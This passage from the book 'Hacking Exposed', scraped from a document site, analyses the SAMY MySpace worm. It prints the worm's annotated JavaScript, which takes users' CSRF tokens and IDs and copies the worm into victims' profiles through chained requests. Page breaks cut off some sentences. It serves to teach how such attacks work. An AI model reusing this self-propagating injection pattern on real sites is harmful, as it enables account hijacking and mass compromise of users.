• Aucun résultat trouvé

Important Code Snippets in SAMY

Dans le document Hacking Exposed (Page 84-89)

The script injection sets up some key variables. It attempts to grab the victim’s Mytoken andfriendID tokens. These two tokens are necessary to perform client state changes.

ThefriendID token is the victim’s unique user identifier and Mytoken is a cross-site request forgery (CSRF) prevention token. (CSRF is discussed in detail in Chapter 3.) // These are some key variables, like the XMLHttpRequest object, the // "Mytoken" CSRF prevention token, and the victim's "friendID". The // "Mytoken" and "friendID" are required for the worm to make requests on // the victim's behalf.

var xmlHttpRequest;

var queryParameterArray = getQueryParameters();

var myTokenParameter = queryParameterArray['Mytoken'];

var friendIdParameter = queryParameterArray['friendID'];

57

victim’s profile page, the victim will be infected and begin to spread the worm farther.

// The next five variables searches for Samy's code in the current page.

// I.e. all of the code you are reading now. The code will then be inserted // into the victim's page so that so that people who visit a victim's page // will also become a victim.

var htmlBody = getHtmlBody();

// Mark the beginning of the script injection and attack code.

var myCodeBlockIndex = htmlBody.indexOf('m' + 'ycode');

var myRoughCodeBlock = htmlBody.substring( myCodeBlockIndex, myCodeBlockIndex + 4096);

var myCodeBlockEndIndex = myRoughCodeBlock.indexOf('d' + 'iv');

// Mark the ending of the script injection and attack code.

// myCodeBlock ends with "</" which doesn't really matter because Samy adds // "div>" when creating the "heroCommentWithWorm" variable.

var myCodeBlock = myRoughCodeBlock.substring(0, myCodeBlockEndIndex);

// This variable is populated with the worm code that is placed into the // victim's page so that anyone visiting the victim's page will become // victim's themselves.

var heroCommentWithWorm;

if (myCodeBlock) {

// Apparently, MySpace dissallowed user input with strings like // "java", "div", and "expr". That is why those string are broken // below.

myCodeBlock = myCodeBlock.replace('jav' + 'a', singleQuote + 'jav' + 'a');

myCodeBlock = myCodeBlock.replace('exp' + 'r)', 'exp' + 'r)' + singleQuote);

// The variable below holds a cute comment, the script injection, and the // attack code. This string is added to the victim’s profile page.

heroCommentWithWorm = ' but most of all, samy is my hero. <d' + 'iv id=' + myCodeBlock + 'd' + 'iv>';

}

Next, the attack code checks whether it is running on http://profile.myspace.com or www.myspace.com. If the script is running on http://profile.myspace.com, the script redirects the user to reload the script (itself) from www.myspace.com. Generally, this is done because of Same Domain Policy restrictions or the need to go to a different web server that has different functionality.

// This is a redirect. Essentially, if the current page came from // "profile.myspace.com", then the code below makes the identical // request to

// "www.myspace.com". This could be due to some Same Domain Policy

58

Now the victim runs the main() function. Unfortunately, Samy did not design the cleanest code. The main() function sets up some more variables just like some of the global variables already set once, or if the redirect occurred, twice. The main() function starts a chain of XMLHttpRequests that performs actions on the victim’s behalf to change the victim’s profile page. The XMLHttpRequests are chained together by their callback functions. Finally, main() makes one last request to add Samy to the victim’s friends list.

It’s not the cleanest design, but it works.

// This is Samy's closest attempt to a core routine. However, he uses many // global function calls and horribly misuses XMLHttpRequest's callback to // chain all of the requests together.

function main() {

// grab the victim's friendID. The "FriendID" and the "Mytoken" value are // required for the worm to make requests on the Victim's behalf.

var friendId = getVictimsFriendId();

var url = '/index.cfm?fuseaction=user.viewProfile&friendID=' + friendId + '&Mytoken=' + myTokenParameter;

xmlHttpRequest = getXMLObj();

// This request starts a chain of HTTP requests. Samy uses the callback // function in XMLHttpRequest to chain numerous requests together. The // first request simply makes a request to view the user's profile in // order to see if "samy" is already the victim's hero.

httpSend(url, analyzeVictimsProfile, 'GET');

xmlhttp2 = getXMLObj();

// This adds user "11851658" (Samy) to the victim's friend list.

httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&" + "Mytoken=' + myTokenParameter, addSamyToVictimsFriendsList, 'GET');

}

59

victim’s profile page. The next function, analyzeVictimsProfile(), handles the HTTP response, and is shown here:

// This function reviews Samy's first request to the victim's main "profile"

// page. The code checks to see if "samy" is already a hero. If his is not // already the victim's hero, the code does the first step to add samy as a // hero, and more importantly, injects the worm in the victim's profile // page. The second step is performed in postHero().

function analyzeVictimsProfile() {

// Standard XMLHttpRequest check to ensure that the HTTP request is // complete.

if (xmlHttpRequest.readyState != 4) { return;

}

// Grab the victim's "Heros" section of their main page.

var htmlBody = xmlHttpRequest.responseText;

heroString = subStringBetweenTwoStrings(htmlBody, 'P' + 'rofileHeroes', '</td>');

heroString = heroString.substring(61, heroString.length);

// Check if "samy" is already in the victim's hero list. Only add the worm // if it's not already there.

if (heroString.indexOf('samy') == -1) { if (heroCommentWithWorm) {

// take the user's original hero string and add "but most of all, // samy is my hero.", the script injection and the attack code.

heroString += heroCommentWithWorm;

// grab the victim's Mytoken. Mytoken is MySpace's CSRF protection // token and is required to make client state change requests.

var myToken = getParameterFromString(htmlBody, 'Mytoken');

// Create the request to add samy as the victim's hero and most // importantly inject this script into the victim's page.

var queryParameterArray = new Array();

queryParameterArray['interestLabel'] = 'heroes';

queryParameterArray['submit'] = 'Preview';

queryParameterArray['interest'] = heroString;

xmlHttpRequest = getXMLObj();

// Make the request to preview the change. After previewing:

// - grab the "hash" token from the preview page (required to perform

60

httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' + myToken, postHero, 'POST',

parameterArrayToParameterString(queryParameterArray));

} } }

Note that the function above first checks whether the victim has already been victimized.

If not, it grab’s the victim’s Mytoken, and begins the first step (of two) to add Samy to the victim’s Heros section, and it injects the script injection and attack code into the victim’s profile page, too. It does so by performing the profile.previewInterests action on MySpace with the worm code, appropriate friendID, and appropriate Mytoken. The next step runs postHero(), which grabs a necessary hash token and submits the final request to add Samy as the victim’s hero and add the script injection and attack code to the victim’s profile page.

// postHero() grabs the "hash" from the victims's interest preview page.

// performs the final submission to add "samy" (and the worm) to the // victim's profile page.

function postHero() {

// Standard XMLHttpRequest check to ensure that the HTTP request is // complete.

if (xmlHttpRequest.readyState != 4) { return;

}

var htmlBody = xmlHttpRequest.responseText;

var myToken = getParameterFromString(htmlBody, 'Mytoken');

var queryParameterArray = new Array();

// The next 3 array elements are the same as in analyzeVictimsProfile() queryParameterArray['interestLabel'] = 'heroes';

queryParameterArray['submit'] = 'Submit';

queryParameterArray['interest'] = heroString;

// The "hash" parameter is required to make the client state change to add queryParameterArray['hash'] = getHiddenParameter(htmlBody, 'hash');

httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' + myToken, nothing, 'POST',

parameterArrayToParameterString(queryParameterArray));

}

61

.processInterests action. postHero() concludes the XMLHttpRequest chain.

Now the victim has “but most of all, samy is my hero” in his or her Hero’s section with the script injection and attack code hidden in the victim’s profile page awaiting more victims.

The main()function also performs another XMLHttpRequest to add Samy to the victim’s friend list. This request is performed by the following function:

// This function adds user "11851658" (a.k.a. Samy) to the victim's friends // list.

function addSamyToVictimsFriendsList() {

// Standard XMLHttpRequest check to ensure that the HTTP request is // complete.

if (xmlhttp2.readyState!=4) { return;

}

var htmlBody = xmlhttp2.responseText;

var victimsHashcode = getHiddenParameter(htmlBody, 'hashcode');

var victimsToken = getParameterFromString(htmlBody, 'Mytoken');

var queryParameterArray = new Array();

queryParameterArray['hashcode'] = victimsHashcode;

// Samy's (old) ID on MySpace

queryParameterArray['friendID'] = '11851658';

queryParameterArray['submit'] = 'Add to Friends';

// the "invite.addFriendsProcess" action on myspace adds the friendID (in // the POST body) to the victim's friends list

httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' + victimsToken, nothing, 'POST',

parameterArrayToParameterString(queryParameterArray));

}

Again, this function is similar to the previous functions. addSamyToVictimsFriend sList() simply makes a request action to invite.addFriendsProcess to add user 11851658 (Samy) to the victimized friend list. This completes the core functionality of the SAMY worm.

Dans le document Hacking Exposed (Page 84-89)